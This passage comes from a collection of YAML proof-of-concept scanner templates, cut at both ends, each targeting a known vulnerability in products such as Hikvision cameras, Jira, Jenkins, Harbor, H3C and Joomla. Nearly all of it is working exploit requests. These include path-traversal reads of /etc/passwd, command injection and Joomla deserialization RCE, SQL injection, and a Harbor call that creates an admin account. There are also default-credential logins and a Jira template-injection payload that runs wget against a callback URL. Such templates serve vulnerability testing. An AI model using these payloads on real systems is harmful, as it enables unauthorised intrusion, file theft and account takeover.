author: For3stCo1d (https://github.com/For3stCo1d)
description: "Gocd-file-read"
links:
- https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover
================================================
FILE: pocs/grafana-default-password.yml
================================================
name: poc-yaml-grafana-default-password
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /login
headers:
Content-Type: application/json
body: '{"user":"admin","password":"admin"}'
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"\"message\":\"Logged in\"")
expression: r0()
detail:
author: For3stCo1d (https://github.com/For3stCo1d)
description: "grafana-default-password"
links:
- https://www.jianshu.com/p/dd27f6a48cf8
================================================
FILE: pocs/h2-database-web-console-unauthorized-access.yml
================================================
name: poc-yaml-h2-database-web-console-unauthorized-access
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /h2-console
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(b"Welcome to H2")
output:
search: '"location.href = ''(?P<token>.+?)''".bsubmatch(response.body)'
token: search["token"]
r1:
request:
cache: true
method: GET
path: /h2-console/{{token}}
expression: response.status == 200 && response.body.bcontains(b"Generic H2")
expression: r0() && r1()
detail:
author: jujumanman (https://github.com/jujumanman)
links:
- https://blog.csdn.net/zy15667076526/article/details/111413979
- https://github.com/vulhub/vulhub/tree/master/h2database/h2-console-unacc
================================================
FILE: pocs/h3c-imc-rce.yml
================================================
name: poc-yaml-h3c-imc-rce
manual: true
transport: http
set:
r1: randomLowercase(8)
r2: randomLowercase(8)
r3: randomLowercase(8)
r4: randomLowercase(8)
rules:
r0:
request:
cache: true
method: POST
path: /imc/javax.faces.resource/dynamiccontent.properties.xhtml
body: |
pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=echo%20{{r1}}${{{r2}}}{{r3}}^{{r4}}
follow_redirects: false
expression: response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4)))
expression: r0()
detail:
author: Print1n(http://print1n.top)
links:
- https://mp.weixin.qq.com/s/BP9_H3lpluqIwL5OMIJlIw
================================================
FILE: pocs/h3c-secparh-any-user-login.yml
================================================
name: poc-yaml-h3c-secparh-any-user-login
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin
expression: response.status == 200 && "错误的id".bmatches(response.body) && "审计管理员".bmatches(response.body) && "admin".bmatches(response.body)
expression: r0()
detail:
author: Print1n(https://print1n.top)
links:
- https://www.pwnwiki.org/index.php?title=H3C_SecParh%E5%A0%A1%E5%A3%98%E6%A9%9F_get_detail_view.php_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6%E7%99%BB%E9%8C%84%E6%BC%8F%E6%B4%9E
================================================
FILE: pocs/h5s-video-platform-cnvd-2020-67113-unauth.yml
================================================
name: poc-yaml-h5s-video-platform-cnvd-2020-67113-unauth
manual: true
transport: http
rules:
h5s1:
request:
cache: true
method: GET
path: /api/v1/GetSrc
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"H5_AUTO") && response.body.bcontains(b"strUser") && response.body.bcontains(b"strPasswd")
h5s2:
request:
cache: true
method: GET
path: /api/v1/GetDevice
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"H5_DEV") && response.body.bcontains(b"strUser") && response.body.bcontains(b"strPasswd")
expression: h5s1() || h5s2()
detail:
author: iak3ec(https://github.com/nu0l)
payload: /#/Dashboard | /#/Settings/Camera
links:
- https://www.cnvd.org.cn/flaw/show/CNVD-2020-67113
================================================
FILE: pocs/hadoop-yarn-unauth.yml
================================================
name: poc-yaml-hadoop-yarn-unauth
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /ws/v1/cluster/info
headers:
Content-Type: application/json
follow_redirects: true
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"resourceManagerVersionBuiltOn") && response.body.bcontains(b"hadoopVersion")
expression: r0()
detail:
author: p0wd3r,sharecast
links:
- https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
================================================
FILE: pocs/hanming-video-conferencing-file-read.yml
================================================
name: poc-yaml-hanming-video-conferencing-file-read
manual: true
transport: http
rules:
linux0:
request:
cache: true
method: GET
path: /register/toDownload.do?fileName=../../../../../../../../../../../../../../etc/passwd
follow_redirects: false
expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
windows0:
request:
cache: true
method: GET
path: /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini
follow_redirects: false
expression: response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
expression: windows0() || linux0()
detail:
author: kzaopa(https://github.com/kzaopa)
links:
- https://mp.weixin.qq.com/s/F-M21PT0xn9QOuwoC8llKA
================================================
FILE: pocs/harbor-cve-2019-16097.yml
================================================
name: poc-yaml-harbor-cve-2019-16097
manual: true
transport: http
set:
r1: randomInt(5, 10)
r2: randomLowercase(r1)
rules:
r0:
request:
cache: true
method: GET
path: /
expression: response.body.bcontains(b"Harbor")
r1:
request:
cache: true
method: POST
path: /api/users
headers:
Content-Type: application/json
body: '{"username": "{{r2}}", "has_admin_role": true, "password": "{{r2}}", "email": "{{r2}}@example.com", "realname": "{{r2}}"}'
follow_redirects: false
expression: response.status == 201
expression: r0() && r1()
detail:
author: scanf & Soveless(https://github.com/Soveless) & cc_ci(https://github.com/cc8ci)
links:
- https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
- https://github.com/goharbor/harbor/issues/8951
- https://www.freebuf.com/vuls/214767.html
================================================
FILE: pocs/hikvision-cve-2017-7921.yml
================================================
name: poc-yaml-hikvision-cve-2017-7921
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /system/deviceInfo?auth=YWRtaW46MTEK
follow_redirects: false
expression: response.status == 200 && response.headers["content-type"] == "application/xml" && response.body.bcontains(b"<firmwareVersion>")
expression: r0()
detail:
author: whwlsfb(https://github.com/whwlsfb)
links:
- https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html
================================================
FILE: pocs/hikvision-info-leak.yml
================================================
name: poc-yaml-hikvision-info-leak
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"<TITLE>流媒体管理服务器</TITLE>") && response.body.bcontains(b"海康威视")
r1:
request:
cache: true
method: GET
path: /config/user.xml
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"<user name=\"") && response.body.bcontains(b" password=\"")
expression: r0() && r1()
detail:
author: tangshoupu
links:
- https://www.seebug.org/vuldb/ssvid-91762
info: Hikvision ikvision-info-leak
================================================
FILE: pocs/hikvision-intercom-service-default-password.yml
================================================
name: poc-yaml-hikvision-intercom-service-default-password
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /
expression: response.status == 200 && response.body.bcontains(bytes("document.title = LOGIN_BTN_LOGIN"))
r1:
request:
cache: true
method: POST
path: /authorize.action
body: |
username=admin&userpsw=827ccb0eea8a706c4c34a16891f84e7b&language=zh_cn
follow_redirects: false
expression: 'response.status == 200 && response.body.bcontains(b"{\"success\": true, \"msg\": \"OK\"}")'
expression: r0() && r1()
detail:
author: xueba(user/pass=admin/12345)
links:
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-34568
================================================
FILE: pocs/hikvision-unauthenticated-rce-cve-2021-36260.yml
================================================
name: poc-yaml-hikvision-unauthenticated-rce-cve-2021-36260
manual: true
transport: http
set:
r1: randomLowercase(5)
r2: randomLowercase(5)
r3: randomLowercase(5)
r4: randomLowercase(5)
rules:
r1:
request:
cache: true
method: PUT
path: /SDK/webLanguage
headers:
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
body: |
<?xml version="1.0" encoding="UTF-8"?><language>$(echo {{r1}}${{{r2}}}{{r3}}^{{r4}}>webLib/{{r4}})</language>
expression: response.status == 500 && response.body.bcontains(b"<requestURL>/SDK/webLanguage</requestURL>")
r2:
request:
cache: true
method: GET
path: /{{r4}}
headers:
Content-Type: application/json;charset=utf-8
expression: response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4)))
clean:
request:
cache: true
method: PUT
path: /SDK/webLanguage
headers:
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
body: |
<?xml version="1.0" encoding="UTF-8"?><language>$(rm webLib/{{r4}})</language>
expression: response.status == 500
expression: r1() && r2() && clean()
detail:
author: york
links:
- https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
- https://github.com/Aiminsun/CVE-2021-36260
================================================
FILE: pocs/hjtcloud-arbitrary-fileread.yml
================================================
name: poc-yaml-hjtcloud-arbitrary-fileread
manual: true
transport: http
rules:
linux0:
request:
cache: true
method: POST
path: /fileDownload?action=downloadBackupFile
body: fullPath=/etc/passwd
expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
expression: linux0()
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%B8%AD%E5%88%9B%E8%A7%86%E8%BF%85/%E4%BC%9A%E6%8D%B7%E9%80%9A%E4%BA%91%E8%A7%86%E8%AE%AF%20fileDownload%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html
================================================
FILE: pocs/hjtcloud-directory-file-leak.yml
================================================
name: poc-yaml-hjtcloud-directory-file-leak
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /him/api/rest/V1.0/system/log/list?filePath=../
expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"\"absolutePath\":\"/var/logs/")
expression: r0()
detail:
author: YekkoY
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%B8%AD%E5%88%9B%E8%A7%86%E8%BF%85/%E4%BC%9A%E6%8D%B7%E9%80%9A%E4%BA%91%E8%A7%86%E8%AE%AF%20list%20%E7%9B%AE%E5%BD%95%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html
description: 会捷通云视讯 list 目录文件泄露漏洞
================================================
FILE: pocs/huawei-home-gateway-hg659-fileread.yml
================================================
name: poc-yaml-huawei-home-gateway-hg659-fileread
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /lib///....//....//....//....//....//....//....//....//etc//passwd
expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
expression: r0()
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://poc.shuziguanxing.com/#/publicIssueInfo#issueId=4210
================================================
FILE: pocs/ifw8-router-cve-2019-16313.yml
================================================
name: poc-yaml-ifw8-router-cve-2019-16313
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /index.htm?PAGE=web
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"www.ifw8.cn")
r1:
request:
cache: true
method: GET
path: /action/usermanager.htm
follow_redirects: false
expression: response.status == 200 && "\"pwd\":\"[0-9a-z]{32}\"".bmatches(response.body)
expression: r0() && r1()
detail:
author: cc_ci(https://github.com/cc8ci)
links:
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16313
- http://www.iwantacve.cn/index.php/archives/311/
- https://nvd.nist.gov/vuln/detail/CVE-2019-16312
Affected Version: v4.31
================================================
FILE: pocs/iis-put-getshell.yml
================================================
name: poc-yaml-iis-put-getshell
manual: true
transport: http
set:
filename: randomLowercase(6)
fileContent: randomLowercase(6)
rules:
r0:
request:
cache: true
method: PUT
path: /{{filename}}.txt
body: |
{{fileContent}}
expression: response.status == 201
r1:
request:
cache: true
method: GET
path: /{{filename}}.txt
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(fileContent))
expression: r0() && r1()
detail:
author: Cannae(github.com/thunderbarca)
links:
- https://www.cnblogs.com/-mo-/p/11295400.html
================================================
FILE: pocs/influxdb-unauth.yml
================================================
name: poc-yaml-influxdb-unauth
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /ping
follow_redirects: true
expression: response.status == 204 && "x-influxdb-version" in response.headers
r1:
request:
cache: true
method: GET
path: /query?q=show%20users
follow_redirects: true
expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"columns") && response.body.bcontains(b"user")
expression: r0() && r1()
detail:
author: p0wd3r
links:
- https://docs.influxdata.com/influxdb/v1.7/tools/api/
================================================
FILE: pocs/inspur-tscev4-cve-2020-21224-rce.yml
================================================
name: poc-yaml-inspur-tscev4-cve-2020-21224-rce
manual: true
transport: http
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
r0:
request:
cache: true
method: POST
path: /login
body: op=login&username=1 2\',\'1\'\);`expr%20{{r1}}%20%2b%20{{r2}}`
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string(r1 + r2)))
expression: r0()
detail:
author: jingling(https://github.com/shmilylty)
links:
- https://github.com/NS-Sp4ce/Inspur
================================================
FILE: pocs/jboss-cve-2010-1871.yml
================================================
name: poc-yaml-jboss-cve-2010-1871
manual: true
transport: http
set:
r1: randomInt(8000000, 10000000)
r2: randomInt(8000000, 10000000)
rules:
r0:
request:
cache: true
method: GET
path: /admin-console/index.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23%7b{{r1}}*{{r2}}%7d
follow_redirects: false
expression: response.status == 302 && response.headers["location"].contains(string(r1 * r2))
expression: r0()
detail:
author: fuping
links:
- http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871
================================================
FILE: pocs/jboss-unauth.yml
================================================
name: poc-yaml-jboss-unauth
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /jmx-console/
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"jboss.management.local") && response.body.bcontains(b"jboss.web")
expression: r0()
detail:
author: FiveAourThe(https://github.com/FiveAourThe)
links:
- https://xz.aliyun.com/t/6103
================================================
FILE: pocs/jeewms-showordownbyurl-fileread.yml
================================================
name: poc-yaml-jeewms-showordownbyurl-fileread
manual: true
transport: http
rules:
linux0:
request:
cache: true
method: GET
path: /systemController/showOrDownByurl.do?down=&dbPath=../../../../../../etc/passwd
expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
windows0:
request:
cache: true
method: GET
path: /systemController/showOrDownByurl.do?down=&dbPath=../../../../../Windows/win.ini
expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support")
expression: linux0() || windows0()
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://mp.weixin.qq.com/s/ylOuWc8elD2EtM-1LiJp9g
================================================
FILE: pocs/jellyfin-cve-2021-29490.yml
================================================
name: poc-yaml-jellyfin-cve-2021-29490
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /Images/Remote?imageUrl=http://example.com/
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes("This domain is for use in illustrative examples in documents. You may use this domain in literature without prior coordination or asking for permission."))
r1:
request:
cache: true
method: GET
path: /Items/RemoteSearch/Image?ImageUrl=http://example.com&ProviderName=TheMovieDB
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes("This domain is for use in illustrative examples in documents. You may use this domain in literature without prior coordination or asking for permission."))
expression: r0() || r1()
detail:
author: jarcis-cy(https://github.com/jarcis-cy)
links:
- https://github.com/jellyfin/jellyfin/security/advisories/GHSA-rgjw-4fwc-9v96
================================================
FILE: pocs/jellyfin-file-read-cve-2021-21402.yml
================================================
name: poc-yaml-jellyfin-file-read-cve-2021-21402
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support")
expression: r0()
detail:
author: Print1n(https://github.com/Print1n)
links:
- https://blog.csdn.net/qq_41503511/article/details/116274406
================================================
FILE: pocs/jenkins-cve-2018-1000600.yml
================================================
name: poc-yaml-jenkins-cve-2018-1000600
manual: true
transport: http
set:
reverse: newReverse()
reverseUrl: reverse.url
rules:
r0:
request:
cache: true
method: GET
path: /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl={{reverseUrl}}
expression: response.status == 200 && reverse.wait(5)
expression: r0()
detail:
author: PickledFish(https://github.com/PickledFish)
links:
- https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/
================================================
FILE: pocs/jenkins-cve-2018-1000861-rce.yml
================================================
name: poc-yaml-jenkins-cve-2018-1000861-rce
manual: true
transport: http
set:
rand: randomLowercase(4)
rules:
r0:
request:
cache: true
method: GET
path: /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27{{rand}}%27,%20version=%271%27)%0aimport%20Payload;
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes("package#" + rand))
expression: r0()
detail:
author: p0wd3r
links:
- https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
================================================
FILE: pocs/jenkins-unauthorized-access.yml
================================================
name: poc-yaml-jenkins-unauthorized-access
manual: true
transport: http
set:
r1: randomInt(1000, 9999)
r2: randomInt(1000, 9999)
rules:
r0:
request:
cache: true
method: GET
path: /script
follow_redirects: false
expression: response.status == 200
output:
search: '"\"Jenkins-Crumb\", \"(?P<var>.+?)\"\\);".bsubmatch(response.body)'
var: search["var"]
r1:
request:
cache: true
method: POST
path: /script
body: |
script=printf%28%27{{r1}}%25%25{{r2}}%27%29%3B&Jenkins-Crumb={{var}}&Submit=%E8%BF%90%E8%A1%8C
expression: response.status == 200 && response.body.bcontains(bytes(string(r1) + "%" + string(r2)))
expression: r0() && r1()
detail:
author: MrP01ntSun(https://github.com/MrPointSun)
links:
- https://www.cnblogs.com/yuzly/p/11255609.html
- https://blog.51cto.com/13770310/2156663
================================================
FILE: pocs/jetty-cve-2021-28164.yml
================================================
name: poc-yaml-jetty-cve-2021-28164
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /%2e/WEB-INF/web.xml
follow_redirects: false
expression: response.status == 200 && response.content_type == "application/xml" && response.body.bcontains(b"</web-app>")
expression: r0()
detail:
author: Sup3rm4nx0x (https://github.com/Sup3rm4nx0x)
links:
- https://www.linuxlz.com/aqld/2309.html
================================================
FILE: pocs/jinher-oa-c6-default-password.yml
================================================
name: poc-yaml-jinher-oa-c6-default-password
manual: true
transport: http
rules:
jiner:
request:
cache: true
method: POST
path: /c6/Jhsoft.Web.login/AjaxForLogin.aspx
body:
type=login&loginCode=YWRtaW4=&&pwd=MDAwMDAw&
expression: response.status == 200 && response.headers["Set-Cookie"].contains("SessionIDAdmin=") && response.body.bcontains(b"\xcf\xb5\xcd\xb3\xb9\xdc\xc0\xed\xd4\xb1\x7c") && response.body.bcontains(b"\xc4\xfa\xba\xc3\x7c\x7c\x7c") # nolint[:cellint]
expression: jiner()
detail:
author: iak3ec(https://github.com/nu0l)
links:
- https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E5%92%8COA-C6-default-password.md
================================================
FILE: pocs/jira-cve-2019-11581.yml
================================================
name: poc-yaml-jira-cve-2019-11581
manual: true
transport: http
set:
reverse: newReverse()
reverseUrl: reverse.url
rules:
r0:
request:
cache: true
method: GET
path: /secure/ContactAdministrators!default.jspa
follow_redirects: false
expression: response.status == 200
output:
search: '"name=\"atlassian-token\" content=\"(?P<token>.+?)\"".bsubmatch(response.body)'
token: search["token"]
r1:
request:
cache: true
method: POST
path: /secure/ContactAdministrators.jspa
body: from=admin%40163.com&subject=%24i18n.getClass%28%29.forName%28%27java.lang.Runtime%27%29.getMethod%28%27getRuntime%27%2Cnull%29.invoke%28null%2Cnull%29.exec%28%27wget+{{reverseUrl}}+%27%29.waitFor%28%29&details=exange%20website%20links&atl_token={{token}}&%E5%8F%91%E9%80%81=%E5%8F%91%E9%80%81
follow_redirects: false
expression: response.status == 302 && reverse.wait(5)
expression: r0() && r1()
detail:
author: harris2015(https://github.com/harris2015)
links:
- https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html
Affected Version: cve-2019-11581
================================================
FILE: pocs/jira-cve-2019-8442.yml
================================================
name: poc-yaml-jira-cve-2019-8442
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
expression: response.status == 200 && response.body.bcontains(bytes(string(b"<groupId>com.atlassian.jira</groupId>"))) && response.content_type.contains("application/xml")
expression: r0()
detail:
author: pa55w0rd(www.pa55w0rd.online/)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2019-8442
Affected Version: <7.13.4, 8.00-8.0.4, 8.1.0-8.1.1
================================================
FILE: pocs/jira-cve-2019-8449.yml
================================================
name: poc-yaml-jira-cve-2019-8449
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /rest/api/latest/groupuserpicker?query=testuser12345&maxResults=50&showAvatar=false
expression: response.status == 200 && response.content_type.icontains("json") && response.headers["X-AREQUESTID"] != "" && response.body.bcontains(b"total") && response.body.bcontains(b"groups") && response.body.bcontains(b"header") && response.body.bcontains(b"users")
expression: r0()
detail:
author: MaxSecurity(https://github.com/MaxSecurity)
links:
- https://xz.aliyun.com/t/7219
================================================
FILE: pocs/jira-cve-2020-14179.yml
================================================
name: poc-yaml-jira-cve-2020-14179
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /secure/QueryComponent!Default.jspa
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"com.atlassian.jira")
expression: r0()
detail:
author: harris2015(https://github.com/harris2015)
links:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14179
================================================
FILE: pocs/jira-cve-2020-14181.yml
================================================
name: poc-yaml-jira-cve-2020-14181
manual: true
transport: http
set:
r: randomLowercase(8)
rules:
r0:
request:
cache: true
method: GET
path: /secure/ViewUserHover.jspa?username={{r}}
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes("/secure/ViewProfile.jspa?name=" + r)) && response.body.bcontains(bytes("com.atlassian.jira"))
expression: r0()
detail:
author: whwlsfb(https://github.com/whwlsfb)
links:
- https://www.tenable.com/cve/CVE-2020-14181
- https://twitter.com/ptswarm/status/1318914772918767619
================================================
FILE: pocs/jira-ssrf-cve-2019-8451.yml
================================================
name: poc-yaml-jira-ssrf-cve-2019-8451
manual: true
transport: http
set:
originScheme: request.url.scheme
originHost: request.url.host
reverse: newReverse()
reverseHost: reverse.url.host
reverseURL: reverse.url.path
rules:
r0:
request:
cache: true
method: GET
path: /plugins/servlet/gadgets/makeRequest?url={{originScheme}}://{{originHost}}@{{reverseHost}}{{reverseURL}}
headers:
X-Atlassian-Token: no-check
expression: reverse.wait(5)
expression: r0()
detail:
author: jingling(https://github.com/shmilylty)
links:
- https://jira.atlassian.com/browse/JRASERVER-69793
================================================
FILE: pocs/joomla-cnvd-2019-34135-rce.yml
================================================
name: poc-yaml-joomla-cnvd-2019-34135-rce
manual: true
transport: http
set:
r1: randomLowercase(10)
r2: randomLowercase(10)
rules:
r0:
request:
cache: true
method: GET
path: /
headers:
Content-Type: application/x-www-form-urlencoded
follow_redirects: true
expression: response.status == 200
output:
search: '"<input\\stype=\"hidden\"\\sname=\"(?P<token>\\S{32})\"".bsubmatch(response.body)'
token: search["token"]
r1:
request:
cache: true
method: POST
path: /
headers:
Content-Type: application/x-www-form-urlencoded
body: username=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&{{token}}=1&password=AAA%22%3Bs%3A11%3A%22maonnalezzo%22%3AO%3A21%3A%22JDatabaseDriverMysqli%22%3A3%3A%7Bs%3A4%3A%22%5C0%5C0%5C0a%22%3BO%3A17%3A%22JSimplepieFactory%22%3A0%3A%7B%7Ds%3A21%3A%22%5C0%5C0%5C0disconnectHandlers%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SimplePie%22%3A5%3A%7Bs%3A8%3A%22sanitize%22%3BO%3A20%3A%22JDatabaseDriverMysql%22%3A0%3A%7B%7Ds%3A5%3A%22cache%22%3Bb%3A1%3Bs%3A19%3A%22cache_name_function%22%3Bs%3A6%3A%22printf%22%3Bs%3A10%3A%22javascript%22%3Bi%3A9999%3Bs%3A8%3A%22feed_url%22%3Bs%3A43%3A%22http%3A%2F%2FRayTest.6666%2F%3B{{r1}}%25%25{{r2}}%22%3B%7Di%3A1%3Bs%3A4%3A%22init%22%3B%7D%7Ds%3A13%3A%22%5C0%5C0%5C0connection%22%3Bi%3A1%3B%7Ds%3A6%3A%22return%22%3Bs%3A102%3A&option=com_users&task=user.login
follow_redirects: true
expression: response.body.bcontains(bytes(r1 + "%" + r2))
expression: r0() && r1()
detail:
author: X.Yang
links:
- https://www.exploit-db.com/exploits/47465
Joomla_version: 3.0.0,3.4.6
================================================
FILE: pocs/joomla-component-vreview-sql.yml
================================================
name: poc-yaml-joomla-component-vreview-sql
manual: true
transport: http
set:
r1: randomInt(800000000, 1000000000)
rules:
r0:
request:
cache: true
method: POST
path: /index.php?option=com_vreview&task=displayReply
headers:
Content-Type: application/x-www-form-urlencoded
body: profileid=-8511 OR 1 GROUP BY CONCAT(0x7e,md5({{r1}}),0x7e,FLOOR(RAND(0)*2)) HAVING MIN(0)#
follow_redirects: true
expression: response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31)))
expression: r0()
detail:
author: 南方有梦(https://github.com/hackgov)
links:
- https://www.exploit-db.com/exploits/46227
Affected Version: 1.9.11
================================================
FILE: pocs/joomla-cve-2015-7297-sqli.yml
================================================
name: poc-yaml-joomla-cve-2015-7297-sqli
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
